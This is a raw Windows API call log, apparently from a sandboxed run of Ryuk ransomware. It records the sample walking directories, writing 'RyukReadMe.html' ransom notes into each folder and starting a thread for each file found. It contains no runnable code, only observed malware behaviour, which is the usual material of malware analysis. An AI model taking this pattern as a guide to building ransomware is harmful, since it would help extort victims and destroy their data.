	[0250.167] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0250.167] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0250.167] SetLastError (dwErrCode=0x0) 
	[0250.167] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0250.168] GetLastError () returned 0x0
	[0250.168] WriteFile (in: hFile=0x5ec, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18cc98*=0x273, lpOverlapped=0x0) returned 1
	[0250.170] CloseHandle (hObject=0x5ec) returned 1
	[0250.170] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0250.170] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.170] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0250.171] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x488744c0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0250.171] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0250.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x600
	[0250.172] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.173] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 1
	[0250.173] SetLastError (dwErrCode=0x0) 
	[0250.173] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.173] GetLastError () returned 0x3
	[0250.173] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.174] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x216, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0250.174] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0250.174] SetLastError (dwErrCode=0x0) 
	[0250.174] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\MSHist012020010820200109\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\mshist012020010820200109\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.174] GetLastError () returned 0x3
	[0250.174] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.174] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.174] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xa5ed7950, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0xa5ed7950, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa5ed7950, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="MSHist012020010820200109", cAlternateFileName="MSHIST~1")) returned 0
	[0250.174] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0250.174] SetLastError (dwErrCode=0x0) 
	[0250.175] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.175] GetLastError () returned 0x3
	[0250.175] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18cc98, lpOverlapped=0x0) returned 0
	[0250.175] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.175] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0250.175] SetLastError (dwErrCode=0x0) 
	[0250.175] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0250.175] GetLastError () returned 0xb7
	[0250.175] CloseHandle (hObject=0x5ec) returned 1
	[0250.175] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\*.*", lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef970
	[0250.176] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.176] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0250.176] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1
	[0250.176] SetLastError (dwErrCode=0x0) 
	[0250.176] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x524
	[0250.177] GetLastError () returned 0x0
	[0250.177] WriteFile (in: hFile=0x524, lpBuffer=0x13f46dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpBuffer=0x13f46dfb0*, lpNumberOfBytesWritten=0x18c568*=0x273, lpOverlapped=0x0) returned 1
	[0250.179] CloseHandle (hObject=0x524) returned 1
	[0250.179] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efcd0
	[0250.181] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0250.181] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x91, dwReserved0=0x204, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0250.181] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x4f0b6db0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f0b6db0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x432daef0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x204, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
	[0250.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0250.182] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x628
	[0250.183] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0250.184] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 1
	[0250.184] SetLastError (dwErrCode=0x0) 
	[0250.184] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.184] GetLastError () returned 0x3
	[0250.184] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0250.184] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.184] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x18b7c0 | out: lpFindFileData=0x18b7c0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0250.184] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0250.184] SetLastError (dwErrCode=0x0) 
	[0250.185] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\MSHist012017071220170713\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\mshist012017071220170713\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.185] GetLastError () returned 0x3
	[0250.185] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18be38, lpOverlapped=0x0) returned 0
	[0250.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.185] FindNextFileW (in: hFindFile=0x3efcd0, lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45c34df0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="MSHist012017071220170713", cAlternateFileName="MSHIST~1")) returned 0
	[0250.185] FindClose (in: hFindFile=0x3efcd0 | out: hFindFile=0x3efcd0) returned 1
	[0250.185] SetLastError (dwErrCode=0x0) 
	[0250.185] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\History.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\history.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0250.185] GetLastError () returned 0x3
	[0250.185] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0250.185] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0250.186] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x45c34df0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45c34df0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 0
	[0250.186] FindClose (in: hFindFile=0x3ef970 | out: hFindFile=0x3ef970) returned 1
	[0250.186] SetLastError (dwErrCode=0x0) 
	[0250.186] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5ec
	[0250.186] GetLastError () returned 0xb7
	[0250.186] CloseHandle (hObject=0x5ec) returned 1
	[0250.186] FindNextFileW (in: hFindFile=0x3ef910, lpFindFileData=0x18cd50 | out: lpFindFileData=0x18cd50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ec, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0
	[0250.186] FindClose (in: hFindFile=0x3ef910 | out: hFindFile=0x3ef910) returned 1
	[0250.187] SetLastError (dwErrCode=0x0) 
	[0250.187] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x604
	[0250.187] GetLastError () returned 0xb7
	[0250.187] CloseHandle (hObject=0x604) returned 1
	[0250.187] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2b9fc540, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x126775, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IconCache.db", cAlternateFileName="ICONCA~1.DB")) returned 1
	[0250.187] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0250.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604
	[0250.189] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
